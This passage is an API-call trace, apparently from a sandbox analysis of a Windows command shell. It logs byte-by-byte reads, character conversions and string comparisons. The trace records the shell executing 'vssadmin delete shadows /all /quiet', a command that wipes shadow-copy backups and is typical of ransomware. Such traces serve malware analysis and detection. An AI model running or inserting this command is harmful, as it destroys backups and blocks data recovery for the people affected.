dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0250.208] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.208] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0250.208] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.208] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0250.208] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.208] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0250.208] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.208] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0250.208] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.208] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0250.208] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.208] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0250.208] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.208] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.208] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0250.209] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.209] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.209] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0250.209] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.209] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.209] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0250.209] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.209] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.209] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0250.209] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.209] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.209] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0250.209] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.209] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.209] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0250.209] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.209] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.209] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0250.209] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.209] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.209] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.210] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0250.210] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.210] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.210] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.210] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0250.210] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.210] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.210] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.210] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0250.210] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.210] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.210] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.210] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0250.210] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.210] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.210] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.210] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0250.210] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.210] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.210] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.210] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0250.210] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.210] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.210] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.211] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0250.211] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.211] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.211] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.211] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0250.211] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.211] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.211] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.211] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0250.211] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.211] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.211] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.211] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0250.211] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.211] GetFileType (hFile=0xf94) returned 0x3 [0250.211] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.211] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.211] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.211] GetFileType (hFile=0xfa0) returned 0x3 [0250.211] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.211] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0250.211] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x7d41d0f958, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f958*=0x24, lpOverlapped=0x0) returned 1 [0250.212] GetProcessHeap () returned 0x24a1a690000 [0250.212] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x4012) returned 0x24a1a698e90 [0250.212] GetProcessHeap () returned 0x24a1a690000 [0250.212] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a698e90) returned 1 [0250.213] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0250.213] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0250.213] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0250.213] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0250.213] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0250.213] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0250.213] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0250.213] GetProcessHeap () returned 0x24a1a690000 [0250.213] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb0) returned 0x24a1a6a91a0 [0250.213] GetProcessHeap () returned 0x24a1a690000 [0250.213] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x22) returned 0x24a1a696330 [0250.213] GetProcessHeap () returned 0x24a1a690000 [0250.213] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x48) returned 0x24a1a6a9260 [0250.214] GetConsoleOutputCP () returned 0x4e3 [0250.217] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0250.217] SetThreadUILanguage (LangId=0x0) returned 0x409 [0250.219] GetConsoleTitleW (in: lpConsoleTitle=0x7d41d0f7a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0250.219] malloc (_Size=0xffce) returned 0x24a1a940840 [0250.220] ??_V@YAXPEAX@Z () returned 0x24a1a940840 [0250.220] malloc (_Size=0xffce) returned 0x24a1a950820 [0250.220] ??_V@YAXPEAX@Z () returned 0x24a1a950820 [0250.220] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0250.220] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0250.220] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0250.220] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0250.220] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0250.220] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0250.220] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0250.220] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0250.220] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0250.220] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0250.220] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0250.220] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0250.220] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0250.220] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0250.220] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0250.220] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0250.220] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0250.220] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0250.220] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0250.220] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0250.220] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0250.220] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0250.220] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0250.220] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0250.220] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0250.220] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0250.220] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0250.220] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0250.220] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0250.220] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0250.220] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0250.220] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0250.220] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0250.220] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0250.220] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0250.220] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0250.220] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0250.220] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0250.221] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0250.221] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0250.221] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0250.221] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0250.221] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0250.221] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0250.221] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0250.221] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0250.221] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0250.221] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0250.221] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0250.221] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0250.221] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0250.221] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0250.221] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0250.221] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0250.221] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0250.221] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0250.221] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0250.221] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0250.221] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0250.221] _wcsicmp 